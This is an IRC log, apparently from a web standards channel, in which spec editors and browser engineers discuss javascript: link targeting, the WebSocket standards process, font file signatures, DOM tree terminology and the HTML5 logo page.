[00:48:00.0000] <Evet>
zcorpan: https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-browser-Polyfills

[00:50:00.0000] <zcorpan>
Evet: array.forEach isn't listed there. anyway, i don't care that it doesn't work in old browsers

[01:06:00.0000] <zcorpan>
i didn't know it was possible to do <a href=javascript:foo() target=bar> to make foo() execute in bar's context

[01:07:00.0000] <annevk>
does not seem possible in Chrome

[01:08:00.0000] <zcorpan>
doesn't seem to work in opera either

[01:09:00.0000] <zcorpan>
but works in ie8

[01:09:01.0000] <hsivonen>
zcorpan: in IE7, too

[01:09:02.0000] <hsivonen>
didn't test IE6

[01:10:00.0000] <zcorpan>
should we change to match ie6/webkit/opera and leave <base> alone?

[01:10:01.0000] <hsivonen>
actually, I tested <base target>, not <a target>

[01:10:02.0000] <zcorpan>
s/ie6//

[01:10:03.0000] <hsivonen>
zcorpan: we as in spec?

[01:10:04.0000] <zcorpan>
yeah

[01:10:05.0000] <zcorpan>
dunno what the spec says currently

[01:10:06.0000] <hsivonen>
zcorpan: afaict, Opera 11 does what Firefox 3.6 did

[01:11:00.0000] <zcorpan>
wrt <base target>?

[01:11:01.0000] <hsivonen>
zcorpan: spec says what Chrome and Firefox nightlies do

[01:11:02.0000] <hsivonen>
zcorpan: spec says honor first <base target> in the document order

[01:11:03.0000] <zcorpan>
yeah

[01:11:04.0000] <hsivonen>
doing the IE7 thing breaks hyperlatex output

[01:12:00.0000] <hsivonen>
and doing the IE7 thing for <base target> but the Chrome thing for <base href> would be inconsistent

[01:12:01.0000] <hsivonen>
and not doing the Chrome thing for <base href> breaks online check-in for non-U.S. citizens on united.com

[01:12:02.0000] <hsivonen>
which is likely to make people who are in a busy situation very unhappy

[01:12:03.0000] <annevk>
zcorpan, it does influence Opera

[01:13:00.0000] <annevk>
zcorpan, we do not always execute the script

[01:13:01.0000] <zcorpan>
annevk: oh. indeed

[01:14:00.0000] <hsivonen>
when iPad with it's locked browser gets traction in the enterprise, I hope the enterprisey vendors react by making a single cross-browser code path

[01:14:01.0000] <hsivonen>
and don't add a new one for WebKit

[01:14:02.0000] <zcorpan>
<base target=bar><a href=javascript:foo()> does nothing in opera

[01:15:00.0000] <zcorpan>
but <a href=foo()></a><base target=bar> executes (in the current window's context)

[01:15:01.0000] <hsivonen>
I bet enterprisey software would suck less for Firefox and IE developers, too, if the enterprisey software was written to work across Trident, Gecko, WebKit and Presto instead of being Trident/Gecko only

[01:17:00.0000] <zcorpan>
/me guesses there are sites that are broken in opera/webkit because javascript:/target is not supported

[01:18:00.0000] <othermaciej>
there is a tragic amount of WebKit-only content out there

[01:19:00.0000] <othermaciej>
enough that it is sometimes painful to fix bugs

[01:19:01.0000] <othermaciej>
the fact that WebKit is an API for other apps creates extra lock-in risk beyond just that of web sites

[01:21:00.0000] <hsivonen>
of late, Firefox 4 incompatibilities with Google and Microsoft services have been cases where stuff works if faking the UA to look like a WebKit UA :-(

[01:22:00.0000] <othermaciej>
we have a lot of compat bugs where faking a Firefox UA fixes it

[01:23:00.0000] <annevk>
Hixie, why is WebGL on the media-independent layer?

[01:23:01.0000] <annevk>
Hixie, in http://wiki.whatwg.org/wiki/Specifications_that_apply_to_Web_browsers

[01:24:00.0000] <hsivonen>
annevk: looks like an advocacy mind trick

[01:28:00.0000] <othermaciej>
does that page aim to at some point be comprehensive?

[01:28:01.0000] <othermaciej>
/me can't figure out the inclusion criteria

[01:29:00.0000] <annevk>
othermaciej, criteria are browser support

[01:30:00.0000] <annevk>
othermaciej, we are just adding things as we go so if you have anything please add

[01:30:01.0000] <othermaciej>
some of the more obvious things missing include DOM Events, XHR, other CSS3 modules (Selectors?)

[01:30:02.0000] <hsivonen>
looks like HTML is missing from the list

[01:30:03.0000] <hsivonen>
oh. it's there as WA 1.0

[01:32:00.0000] <MikeSmith>
EcmaScript

[01:33:00.0000] <othermaciej>
I don't understand the categories enough to know where ECMAScript would go

[01:34:00.0000] <MikeSmith>
maybe it needs re-categorization

[01:34:01.0000] <annevk>
Infrastructure I think

[01:35:00.0000] <jgraham>
(FWIW we get both the bugs where you have to fake Firefox UA and the bugs where you hvae to fake the WebKit UA)

[01:35:01.0000] <annevk>
that or media-independent

[01:35:02.0000] <othermaciej>
we have had bugs where we needed to fake the UA string of an older Safari version

[01:36:00.0000] <othermaciej>
does URL/URI/IRI go in there, or are works of fiction excluded?

[01:38:00.0000] <hsivonen>
othermaciej: as I understand it, works of fiction are excluded

[01:39:00.0000] <annevk>
for that it seems better to wait for Adam Barth's draft

[01:39:01.0000] <annevk>
DOM Events might also get obsoleted by DOM Core

[01:46:00.0000] <jgraham>
Hmm, someone should tell Hallvord that WebIDL ought to define the behaviour of functions with the wrong number of arguments

[01:47:00.0000] <jgraham>
s/ought to define/defines/ perhaps

[02:41:00.0000] <annevk>
so I only read hybi casually but wtf

[02:41:01.0000] <annevk>
they are now at the point where browsers speak something different from anyone else?

[02:41:02.0000] <annevk>
Hixie argued that from the start

[02:41:03.0000] <annevk>
omg

[02:42:00.0000] <jgraham>
No, they are at the point where browsers and other things both speak "websockets" but browsers use masking but others don't

[02:42:01.0000] <jgraham>
At least that seems to be the point that Greg is at

[02:44:00.0000] <annevk>
same deal

[02:44:01.0000] <annevk>
imo

[02:44:02.0000] <jgraham>
Not at all

[02:44:03.0000] <jgraham>
Having other things not speak websockets is sane

[02:45:00.0000] <jgraham>
Piling features onto websockets to support non-browser use cases is not sane

[02:45:01.0000] <annevk>
fair enough

[02:46:00.0000] <jgraham>
But the browser people have more-or-less all retreated from the hybi group

[02:46:01.0000] <jgraham>
As far as I can tell

[02:46:02.0000] <annevk>
doing this at the IETF was in retrospect not a smart move

[02:47:00.0000] <annevk>
TLS-handshake and some simple framing and maybe some non-TLS handshake should have been sufficient

[02:50:00.0000] <annevk>
I wish Josh would provide some reasoning for his assertions on what "living standards" do to a11y

[02:50:01.0000] <annevk>
We almost never implement standards that are stable...

[02:51:00.0000] <Philip`>
Are the browser people still going to implement whatever the hybi group produces, or are they going to implement nothing, or are they going to restart their own spec development process, or does nobody have any idea?

[02:51:01.0000] <annevk>
In fact, there is not really any stable standard that I can think of...

[02:51:02.0000] <jgraham>
Philip`: I really have no idea

[02:52:00.0000] <jgraham>
Philip`: I guess the most likely outcome is that we will still implement for lack of an alternative, concrete, proposal

[02:52:01.0000] <jgraham>
Which is a bit worrying

[02:52:02.0000] <annevk>
Philip`, as far as I can tell Mozilla has not given up (in part because they hired someone more closely involved with the IETF); Google has not given up (they provide the editor, and Adam Barth is doing a bunch of stuff)

[02:52:03.0000] <jgraham>
Even abarth seems somewhat exhausted by the WG

[02:53:00.0000] <annevk>
Philip`, I guess we still have some involvement

[02:53:01.0000] <jgraham>
and he has an admirable capacity to navigate difficult standards groups

[02:53:02.0000] <annevk>
abarth should start the byebyeWG

[02:57:00.0000] <othermaciej>
it's draining to engage in the hybi WG

[02:57:01.0000] <othermaciej>
server people outnumber browser people, so they can create "consensus", but the costs of a poor protocol design and the costs of the constant thrashing will be disproportionately borne by browsers

[02:58:00.0000] <othermaciej>
also the chairs do not seem to understand the technical issues well enough to try to actually mediate instead of holding votes

[02:59:00.0000] <jgraham>
Yes

[03:00:00.0000] <jgraham>
That seems like a fair summary

[03:16:00.0000] <annevk>
btw

[03:16:01.0000] <annevk>
they have been doing this thing from the beginning

[03:17:00.0000] <annevk>
they want to share some kind of handshake because they think browsers will be able to get the intermediaries along (I thought browsers were outnumbered by all those other clients, but not here I guess...) but other than that they do not really care about browsers

[03:17:01.0000] <annevk>
or the security model of browsers, or anything really

[03:17:02.0000] <annevk>
but yeah, what othermaciej says

[03:17:03.0000] <annevk>
said

[03:18:00.0000] <othermaciej>
it's weird because I think at least some of the server people implement servers that will likely be connected to by browsers

[03:22:00.0000] <annevk>
othermaciej, Roy Fielding does that as well

[03:23:00.0000] <annevk>
othermaciej, or used to, yet I have not see him show any interest (other  than mocking and getting angry)

[03:28:00.0000] <hsivonen>
annevk: not caring about browsers in the Web Socket context makes absolutely no sense

[03:28:01.0000] <hsivonen>
the whole point of the thing is to integrate with the browser security model

[03:28:02.0000] <hsivonen>
why on earth do people who don't have a browser as one end point care about Web Socket at all?

[03:29:00.0000] <hsivonen>
/me wishes the protocol had been done at the W3C

[03:29:01.0000] <annevk>
they think it makes sense; so maybe it does

[03:29:02.0000] <jgraham>
I'm not sure why they think it makes sense tbh

[03:29:03.0000] <annevk>
I know I don't care and do not want the browser part crippled

[03:30:00.0000] <jgraham>
But they keep getting all these requirements like "what if we want to speak websockets inside our datacenter so we can use the same protocol as we use to talk to clients"

[03:30:01.0000] <annevk>
what they want is bidirectional HTTP

[03:31:00.0000] <hsivonen>
putting Web Socket together with the bidirectional HTTP folks was such a mistake

[03:31:01.0000] <annevk>
to replace all kinds of proprietary protocols with hopefully better overall support

[03:31:02.0000] <jgraham>
And then they go "but to support that use case we don't want all the protection that clients need, so we should make all the protetcion optional"

[03:31:03.0000] <annevk>
it is quite different from what we want with Web Sockets

[03:31:04.0000] <annevk>
but they seem to have the upper hand

[03:31:05.0000] <annevk>
or more people shouting

[03:32:00.0000] <hsivonen>
jgraham: http://i938.photobucket.com/albums/ad222/powderny/picard-facepalm.jpg is still appropriate here :-(

[03:33:00.0000] <hsivonen>
on another topic, am I the only to whom the "People Are Making Stuff!" bit on the W3C HTML5 logo page has an astroturf flavor?

[03:34:00.0000] <othermaciej>
unfortunately it appears "rough consensus" just means "majority vote with some subjective and unstated supermajority requirement"

[03:34:01.0000] <foolip>
abarth, more nitpicking: the right border for text/xml in http://tools.ietf.org/html/draft-abarth-mime-sniff-06 is mis-aligned

[03:34:02.0000] <annevk>
I just noticed the logo page sets alt and title to the same thing...

[03:36:00.0000] <othermaciej>
http://www.w3.org/html/logo/ might be one of the least accessible pages on w3.org

[03:39:00.0000] <othermaciej>
the two most notable content images on the page are CSS background images

[03:42:00.0000] <hsivonen>
othermaciej: walking the walk is hard

[03:43:00.0000] <zcorpan>
othermaciej: while the decoration stars are <img>s, both with alt="HTML5 Navbar"

[03:43:01.0000] <zcorpan>
FAIL

[03:44:00.0000] <othermaciej>
well, the visual design is also atrocious, so I guess everyone can have a bad experience

[03:45:00.0000] <hsivonen>
I wish the designer had gone with the starfish idea

[03:46:00.0000] <othermaciej>
people would name the starfish

[03:47:00.0000] <jgraham>
starfish?

[03:47:01.0000] <hsivonen>
jgraham: as seen in the intermediade drawings the designer posted

[03:47:02.0000] <jgraham>
hsivonen: pointer?

[03:49:00.0000] <hsivonen>
jgraham: http://ocupop.com/html5

[03:50:00.0000] <hsivonen>
(and I didn't mean the starfish variant that looks like a 5-pronged Confederate flag)

[03:50:01.0000] <foolip>
abarth, oh, and "An Ogg Vorbis audio or video signature." should be "An Ogg stream signature" or some such, since there's no guarantee that it's Vorbis or any other audio/video Ogg stream (could be Ogg Kate)

[03:51:00.0000] <annevk>
hmm, how do you find out signatures?

[03:51:01.0000] <hsivonen>
(nor the one that looks like Chrysler star)

[03:51:02.0000] <annevk>
I want to find them for fonts

[03:53:00.0000] <jgraham>
Oh the CSS thing was supposed to look like a 3!

[03:54:00.0000] <zcorpan>
also, read teh text in slide 9

[03:55:00.0000] <zcorpan>
i dunno, but the logo doesn't come across as a keystone to me

[03:55:01.0000] <Philip`>
annevk: http://www.microsoft.com/typography/otspec/otff.htm (the "Offset Table"), if that's what you mean

[03:55:02.0000] <hsivonen>
zcorpan: the keystone idea has some merit, but the association with a keystone got lost in the shield

[03:56:00.0000] <hsivonen>
zcorpan: also, the keystone metaphor fails for i18n

[03:57:00.0000] <jgraham>
zcorpan: Clearly in the end it lost the keystone and went entirely with "shield"

[03:59:00.0000] <annevk>
I know have this

[03:59:01.0000] <annevk>
"We check for the first four bytes being 'ttcf' (TTC), 'OTTO' (OTF) or 0x00010000 (TTF)"

[03:59:02.0000] <annevk>
I don't have WOFF though

[04:01:00.0000] <annevk>
0x774F4646 'wOFF'

[04:01:01.0000] <annevk>
yay

[04:03:00.0000] <Philip`>
I doubt 0x00010000 is uniquely TTF, but I don't see any more precise simple indicators :-(

[04:03:01.0000] <zcorpan>
oh, so that's why lasse refers to it as 'wOFF'

[04:03:02.0000] <karlcow>
http://wiki.eclipse.org/Orion

[04:03:03.0000] <karlcow>
>Orion is a browser-based open tool integration platform which is entirely focused on developing for the web, in the web. Tools are written in JavaScript and run in the browser.

[04:11:00.0000] <annevk>
quite nice that they all use four bytes

[04:11:01.0000] <annevk>
emailed websec

[04:13:00.0000] <hsivonen>
fwiw, regarding mp4, the ftyp part is the magic for the ISO container and the next four bytes are the subtype

[04:13:01.0000] <hsivonen>
JPEG 2000 has ftyp but the next four bytes differ from video/audio

[04:50:00.0000] <zcorpan>
Hixie: why don't you combine these into one url? "Specification: http://www.whatwg.org/specs/web-apps/current-work/complete/tokenization.html Section: http://www.whatwg.org/specs/web-apps/current-work/#scriptEndTag "

[05:41:00.0000] <annevk>
http://www.flickr.com/photos/danja/5386955591/

[05:41:01.0000] <annevk>
<script> support sucked back then

[05:44:00.0000] <hsivonen>
annevk: wow. they must have had the Host HTTP header supported back then already

[05:45:00.0000] <karlcow>
annevk: this is honestly better than the current homepage, except for the grey background

[05:45:01.0000] <ben_c>
karlcow: current homepage needs rounded corners, then it's perfect

[05:46:00.0000] <hsivonen>
karlcow: don't you like the HTML5 CSS3 box-shadows?

[05:46:01.0000] <karlcow>
<cough repeat="3"/> ;)

[05:47:00.0000] <annevk>
karlcow, your sarcasm is very close to normal statements :)

[05:48:00.0000] <annevk>
I retweeted the screenshot on the WHATWG account

[05:48:01.0000] <karlcow>
the lovely box-shadow, the magnificent color scheme, the huge size of the footer ;)

[05:48:02.0000] <zcorpan>
/me tries border-radius:10em

[05:48:03.0000] <ben_c>
http://dl.dropbox.com/u/38899/ROUND.png

[05:48:04.0000] <zcorpan>
looks pretty!

[05:48:05.0000] <annevk>
very 2009

[05:49:00.0000] <zcorpan>
10em border-radius is better

[05:49:01.0000] <zcorpan>
except it becomes a bit girly

[05:49:02.0000] <karlcow>
hmmm I miss bgsound and birds on hr

[05:50:00.0000] <annevk>
that's like missing <marquee> and <blink>

[05:51:00.0000] <annevk>
it's exciting if you come across it these days, but you do not want to see it on every single site

[05:51:01.0000] <ben_c>
http://dl.dropbox.com/u/38899/wobbly.png ?

[05:52:00.0000] <jcranmer>
no, <blink> is still an annoying thing to see

[05:52:01.0000] <karlcow>
oh and maybe, http://www.fusion-productions.com/Images/under-construction-icon.jpg

[05:52:02.0000] <zcorpan>
ben_c: win

[05:52:03.0000] <jcranmer>
especially if the text being blinked is a long, important sentence

[05:52:04.0000] <ben_c>
I like under construction in a marquee

[05:52:05.0000] <karlcow>
holy cow, colored potatoes

[05:53:00.0000] <ben_c>
an alternating marquee is particularly exciting

[05:53:01.0000] <zcorpan>
you should make the potatoes rotate

[05:53:02.0000] <karlcow>
I knew it that whatwg was creating chemical food junk. not edible.

[05:53:03.0000] <jcranmer>
the potato shapes look slightly discomforting

[05:53:04.0000] <ben_c>
all jokes aside, what can we do to make it prettier? I'm happy to spend some time on it next week if anyone is up for it

[05:54:00.0000] <jcranmer>
some of the horizontal lines are  still there, which is what is hurting my eyes, I think

[05:57:00.0000] <annevk>
ben_c, better

[05:58:00.0000] <karlcow>
ben_c the first thing to make it better right now, is to remove features :) Simplicity wins

[05:59:00.0000] <wilhelm>
Desaturation, please. (c:

[06:13:00.0000] <eighty4_>
trying to understand what html (5) element to use when wrapping a list of "related content" is the <aside> ok or should I just use a <section>?

[06:14:00.0000] <gsnedders>
eighty4_: aside

[06:14:01.0000] <eighty4_>
gsnedders: nice, I've been using that before but realize I might be over using it

[06:15:00.0000] <hsivonen>
please ship the ROUND.png version

[06:18:00.0000] <eighty4_>
gsnedders: and shouldn't you be at school studying right now?

[06:21:00.0000] <hsivonen>
isn't it so that the only attributes in SVG or MathML that take URLs are xlink:href and xml:base?

[06:22:00.0000] <hsivonen>
and plain href in MathML?

[06:28:00.0000] <gsnedders>
eighty4_: I could be in student union in the same room as people playing Magic :P

[06:33:00.0000] <david_carlisle>
hsivonen: definitionurl but the browser isn't expected to follow that so perhaps you don't count it

[06:34:00.0000] <hsivonen>
david_carlisle: ah, right. the only MathML attribute with capital letters in it. Thanks.

[06:34:01.0000] <david_carlisle>
sorry before my time (ie before 1999)

[06:36:00.0000] <david_carlisle>
mathml also has a few others (look for anyURI in the rnc) eg altimg (a fallback for if you don't do mathml)

[06:38:00.0000] <annevk>
I updated a few WHATWG wiki pages including the front page

[06:38:01.0000] <annevk>
could still be made clearer though

[06:39:00.0000] <hsivonen>
david_carlisle: thanks

[06:40:00.0000] <erlehmann>
gsnedders, ey, mtg is a nice game against computer scientists. it screams of OH EXPLOITABLE

[06:41:00.0000] <annevk>
hmm, the rel="up up up" thing is about to expire

[06:41:01.0000] <gsnedders>
erlehmann: Meh, I don't play it (or rather haven't in years, and then only stole friend's cards), and off the top of my head none of the people here except for me do CS

[06:43:00.0000] <erlehmann>
gsnedders, i played it when i was 13? 14? and recently i got some of my friends to remember it and pull out their cards :)

[06:44:00.0000] <gsnedders>
erlehmann: heh, I had a few friends who played it at school, especially people I was around in my final year (when I was 17, most of them 18), and have now ended up at uni around people who play it incesently

[06:44:01.0000] <erlehmann>
i noticed the 3d shadow effect on whatwg.org

[06:44:02.0000] <erlehmann>
can i haz anaglyphs? ;) http://blog.fefe.de/?css=http://daten.dieweltistgarnichtso.net/src/fefe-anaglyph-css/anaglyph.css

[06:49:00.0000] <annevk>
I have now written a second Change Proposal

[06:50:00.0000] <hsivonen>
argh. I was planning on writing one today but forgot.

[06:50:01.0000] <hsivonen>
5 minutes to telecon

[06:53:00.0000] <annevk>
I never got a reply to my ISSUE-126 I noticed

[06:54:00.0000] <annevk>
email /\

[06:54:01.0000] <annevk>
so I wrote a no change proposal instead

[06:54:02.0000] <annevk>
I hope I did it correctly...

[07:08:00.0000] <kennyluck>
hsivonen, I actually have written quite a bit for conforming-u  -> http://www.w3.org/html/wg/wiki/ChangeProposals/UShouldBeConforming . I am not sure whether I am making sense, though.

[07:09:00.0000] <hsivonen>
kennyluck: cool. I'm on a telecon right now and can't review

[07:09:01.0000] <kennyluck>
me too, actually.

[07:09:02.0000] <MikeSmith>
kennyluck is on a telcon too actually :)

[07:32:00.0000] <karlcow>
http://humanstxt.org/

[07:34:00.0000] <zcorpan>
"I'm not a robot"

[07:36:00.0000] <annevk>
so how much does "tree model" explain?

[07:36:01.0000] <annevk>
I guess not much and I should actually define ancestor node, parent node, child node, descendant node, etc.

[07:36:02.0000] <Ms2ger>
Yes please :)

[07:37:00.0000] <annevk>
you know

[07:37:01.0000] <annevk>
to me when someone says "tree" everything follows from that :)

[07:37:02.0000] <Ms2ger>
"See Wikipedia"?

[07:37:03.0000] <annevk>
the Web Platform should have a definition for this

[07:37:04.0000] <annevk>
it comes back all over the place

[07:38:00.0000] <annevk>
and you just say this implements a "tree model"

[07:39:00.0000] <annevk>
and readers would go like

[07:39:01.0000] <annevk>
ooh right

[07:39:02.0000] <annevk>
and everyone would be enlightened

[07:39:03.0000] <Ms2ger>
I approve of enlightenment

[07:41:00.0000] <Philip`>
Is it a problem of teaching people the fundamental concepts of trees, or just of defining precisely the terminology you use?

[07:41:01.0000] <annevk>
can it be a combination?

[07:41:02.0000] <Philip`>
Maybe

[07:42:00.0000] <annevk>
my way out was starting with defining Events :)

[07:42:01.0000] <Ms2ger>
"A tree is a perennial woody plant."

[07:42:02.0000] <Ms2ger>
Or wouldn't that work as a definition?

[07:43:00.0000] <annevk>
The DOM is a tree of nodes. In the sense of a family tree, you get the idea.

[07:43:01.0000] <annevk>
Would work for most people :)

[07:43:02.0000] <Philip`>
For the fundamental concepts it seems best to point people at an introductory CS text that describes it in proper detail, rather than trying to make up a new detailed description

[07:44:00.0000] <Philip`>
and hopefully that'll use the same terminology as web specs do so you won't need to redefine anything

[07:48:00.0000] <jgraham>
annevk: Family trees are more like DAGs though

[07:51:00.0000] <Philip`>
Family trees usually have edges between married couples so they're not really D or A

[07:52:00.0000] <jcranmer>
probably a better way of putting it is that they're not really `G'

[07:53:00.0000] <jcranmer>
although I wonder how you encode children born via extramarital affairs or out of wedlock

[08:00:00.0000] <annevk>
see

[08:00:01.0000] <annevk>
because some people think about this too hard I need to provide airtight silly definitions

[08:02:00.0000] <Philip`>
That's why you need to point to a resource written by people who've already thought about it too hard :-)

[08:03:00.0000] <Philip`>
/me doesn't have any specific suggestions though, since the only resource he can think of is on paper

[08:03:01.0000] <annevk>
I think I'll end up borrowing from either CSS or the HTML bit on browsing contexts

[08:11:00.0000] <jgraham>
/me was just considering each child to have two parents and not encoding the relationship between the parents, fwiw

[08:14:00.0000] <Philip`>
So you're assuming the human population increases exponentially as you go back through the generations?

[08:14:01.0000] <Philip`>
Oh, or do you just mean not encoding the co-parenting relationship but still encoding shared ancestors of those parents?

[08:16:00.0000] <jgraham>
The latter

[08:27:00.0000] <Lachy>
Philip`, the population would only exponentionally increase as you go back through generations if each couple only had 1 child, which is typically not the case

[08:28:00.0000] <Lachy>
well, based on the average being greater than 2 in most places around the world

[08:28:01.0000] <Philip`>
I was assuming jgraham was referring to a family tree rooted at a single child and only showing ancestors

[08:28:02.0000] <Lachy>
ok

[08:29:00.0000] <Philip`>
because otherwise there's no chance it'll ever look anything remotely like a tree

[08:30:00.0000] <Ms2ger>
"IMO browsers should implement <link>."

[08:31:00.0000] <annevk>
first <zelda>

[08:32:00.0000] <Ms2ger>
<wario>!

[08:33:00.0000] <erlehmann>
<wario>HRRRRGGGRRRR</wario>

[08:33:01.0000] <annevk>
what is the link bewteen Zelda and Wario?

[08:33:02.0000] <annevk>
aah

[08:33:03.0000] <annevk>
super smash brothers!

[08:33:04.0000] <erlehmann>
The Nintendo Markup Language matures.

[08:33:05.0000] <Ms2ger>
I want Wario Markup Language - WML

[08:33:06.0000] <annevk>
<snake>

[08:33:07.0000] <f1lt3r_bocoup>
lol

[08:34:00.0000] <Ms2ger>
<badger>

[08:34:01.0000] <wilhelm>
WML certainly looks like something Wario could have made.

[08:34:02.0000] <annevk>
Ms2ger, I guess I should have used a namespace, I meant Solid Snake!

[08:34:03.0000] <jgraham>
<kirby>

[08:34:04.0000] <kennyluck>
<kuppa>

[08:34:05.0000] <erlehmann>
<mushroom>

[08:34:06.0000] <erlehmann>
<badger> <badger> <mushroom>

[08:34:07.0000] <Ms2ger>
Oh

[08:34:08.0000] <kennyluck>
s/<mushroom>/<toad> or <kinopio>/

[08:35:00.0000] <erlehmann>
that looks more like an obscure SGML feature than a regular expression

[08:35:01.0000] <Ms2ger>
<snake xmlns="http://www.albinoblacksheep.com" />

[08:35:02.0000] <annevk>
clearly I am not getting this nodes model down

[08:44:00.0000] <foolip>
http://esw.w3.org/HTML_XML_Use_Case_07 is weird

[08:45:00.0000] <foolip>
'The user aspires to create well-formed XHTML5 ... would be disuaded from this if normal "hard fail on wellformedness-error" XML processing were used'

[08:45:01.0000] <foolip>
sounds like the user doesn't want to create well-formed XHTML5

[08:46:00.0000] <Ms2ger>
He wants to, but he's a bozo

[08:49:00.0000] <annevk>
look at what you did to twitter foolip

[08:49:01.0000] <annevk>
http://twitter.com/mattur/status/29944802837528578

[08:49:02.0000] <annevk>
I wonder how more levels we can go

[08:50:00.0000] <foolip>
annevk, I should have made that tweet 140 characters long to prevent that :)

[08:50:01.0000] <foolip>
is everyone else using an awesome client that hides the dupes?

[08:52:00.0000] <Lachy>
I don't see the problem with dupes in twitter. I read twitter infrequently enough that anything I see is more than likely going to be new for me anyway

[08:53:00.0000] <annevk>
No wonder then...

[08:54:00.0000] <karlcow>
foolip: I don't understand the manual retweet… you mean that for retweeting I would have to go to the Web UI of twitter?

[08:54:01.0000] <Lachy>
karlcow, or use a client that supports retweet

[08:55:00.0000] <karlcow>
Are there special meta which are sent along the text for retweet?

[08:56:00.0000] <annevk>
yeah, the ID of the tweet you are retweeting (I think)

[08:56:01.0000] <Lachy>
a manual retweet by convention just begins with "RT @username...". Otherwise, the automated ones just use something in the twitter API with an ID to retweet it as-is

[09:00:00.0000] <annevk>
Ms2ger, time for some brainstorming?

[09:00:01.0000] <annevk>
if you do

[09:01:00.0000] <annevk>
DOM is a tree of Node objects (simple called <dfn title=concept-node>nodes</dfn>)

[09:02:00.0000] <annevk>
each <span ...>node</> has exactly one <dfn title=concept-parent-node>parent node</dfn> with exception of the <code>Document</code> object

[09:02:01.0000] <annevk>
i.e. basing it on http://www.w3.org/TR/CSS21/conform.html#doctree

[09:03:00.0000] <annevk>
and introducing "node" as a term so we don't need <code> for it all the time

[09:03:01.0000] <annevk>
maybe it does not need to be a <dfn> term as it is used so commonly

[09:03:02.0000] <annevk>
or a referenced <dfn> term that is

[09:04:00.0000] <annevk>
if anyone else has comments feel free

[09:04:01.0000] <gsnedders>
annevk: a parent node can be null, that needs to be there, no?

[09:04:02.0000] <annevk>
oh right, there's not always a tree

[09:04:03.0000] <annevk>
hmm

[09:05:00.0000] <annevk>
okay so yeah parent can be null

[09:09:00.0000] <annevk>
bah

[09:09:01.0000] <david_carlisle>
annevk: XDM isn't DOM but they had to face the same issues of parentless element nodes etc, you might (or might not)  be able to steal ideas from

[09:09:02.0000] <david_carlisle>
http://www.w3.org/TR/xpath-datamodel/#terminology

[09:11:00.0000] <MikeSmith_>
http://twitter.com/#!/tmpvar/status/29762642008612864 "WANTED: xml/namespace/dtd guru to answer noob questions and explain how the w3c level2/core tests are not contradictory."

[09:12:00.0000] <annevk>
http://www.w3.org/TR/xpath-datamodel/#DocumentNode seems similar to our constraints

[09:12:01.0000] <Philip`>
Are they not contradictory?

[09:12:02.0000] <annevk>
although it is a bit confusingly worded

[09:12:03.0000] <Philip`>
/me wouldn't be particularly confident in that

[09:16:00.0000] <MikeSmith>
seems he's running into the typical fun with namespaces that most implementors encounter

[09:17:00.0000] <MikeSmith>
he clearly just doesn't realize how simple it all is to implement

[09:17:01.0000] <MikeSmith>
no trouble at all

[09:25:00.0000] <MikeSmith>
anyway, tmpvar is the force behind jsdom

[09:53:00.0000] <annevk>
writing this text is boring

[09:54:00.0000] <annevk>
I should have done the event model

[09:54:01.0000] <othermaciej>
what text are you writing?

[09:54:02.0000] <annevk>
I also have the feeling it's not going well so the distracting email is nice

[09:54:03.0000] <annevk>
explaining how the tree nodes form works

[09:55:00.0000] <annevk>
i.e. that nodes have a parent node, that Document does not, that there's such a thing as child nodes

[09:55:01.0000] <annevk>
ancestor nodes, blahdieblah

[09:58:00.0000] <TabAtkins_>
gsnedders: Let us know when you want to call in.

[11:06:00.0000] <annevk>
maybe http://www.456bereastreet.com/archive/201101/html_beyond_html5/ is worth spending another post on

[11:06:01.0000] <annevk>
if someone has the time

[11:06:02.0000] <annevk>
well, makes the time

[11:06:03.0000] <annevk>
it quite clearly illustrates some of the problems people are seeing

[11:07:00.0000] <annevk>
of course it does not admit that using "HTML5" you will have all these problems because it has features that are not ready yet, but...

[11:07:01.0000] <annevk>
that could be something for the post to point out

[11:11:00.0000] <annevk>
Ms2ger, put some WIP in src.html

[11:11:01.0000] <Ms2ger>
Will check

[11:12:00.0000] <annevk>
might be back in an hour or so, but have to see

[11:15:00.0000] <_bga>
omg http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/

[11:16:00.0000] <Ms2ger>
http://dvcs.w3.org/hg/webevents/raw-file/tip/touchevents.html < Now that's a pretty old draft

[11:19:00.0000] <annevk>
_bga, hmm yeah, I hope browsers break those expectations soon

[11:19:01.0000] <annevk>
_bga, otherwise that is gonna suck

[11:19:02.0000] <paul_irish>
_bga: i think ie9 broke the \v hack.

[11:20:00.0000] <paul_irish>
all of them are pretty damn brittle

[11:20:01.0000] <annevk>
oh, I guess I might be online from the train

[11:21:00.0000] <_bga>
btw im member of "feature detection" religion :)

[11:21:01.0000] <hsivonen>
those JS hacks are a terrible idea to put in production

[11:21:02.0000] <paul_irish>
_bga: i know. :) me too. though you might have seen my Undetectables page.. basically gives some reasoning why we can't go without UA sniffing.

[11:51:00.0000] <Ms2ger>
Anne, I pushed a few small changes, looks good to me otherwise

[12:01:00.0000] <Ms2ger>
If you haven't checked the logs yet, <Ms2ger> Anne, I pushed a few small changes, looks good to me otherwise

[12:01:01.0000] <annevk>
everything went better than expected

[12:10:00.0000] <annevk>
haha

[12:10:01.0000] <annevk>
for a moment The Official Google Blog said: "This is the body of the blog post. I can include HTML tags."

[12:15:00.0000] <annevk>
pushed to W3C

[12:15:01.0000] <annevk>
have to go

[12:18:00.0000] <Hixie>
moved webgl

[12:24:00.0000] <MikeSmith>
Hixie: moved?

[12:30:00.0000] <annevk>
not bad

[12:31:00.0000] <annevk>
fifteen minutes from train to home

[12:31:01.0000] <annevk>
including some relaxing

[12:31:02.0000] <annevk>
MikeSmith, on the Specs page

[12:32:00.0000] <annevk>
http://wiki.whatwg.org/Specs

[12:32:01.0000] <MikeSmith>
ah

[12:32:02.0000] <annevk>
make that http://wiki.whatwg.org/wiki/Specs

[12:32:03.0000] <annevk>
I guess we should point to ArrayBuffer too

[12:32:04.0000] <annevk>
and I should update the XHR spec with that...

[12:34:00.0000] <MikeSmith>
the Ecmascript link could go to http://es5.github.com/

[12:35:00.0000] <annevk>
whoa that page makes my browser crawl

[12:35:01.0000] <MikeSmith>
annevk: yeah

[12:35:02.0000] <Hixie>
i sent http://damowmow.com/temp/456bereastreet.com-archive-201101-html_beyond_html5-response.txt to roger using his web form

[12:36:00.0000] <Hixie>
if anyone wants to take bits of that to update the faq, be my guest.

[12:36:01.0000] <MikeSmith>
is is not ironic that "Web Applications 1.0" is the the only spec on the spec page that has a version number?

[12:37:00.0000] <annevk>
it is

[12:38:00.0000] <annevk>
but removing the 1.0 makes it too vague :)

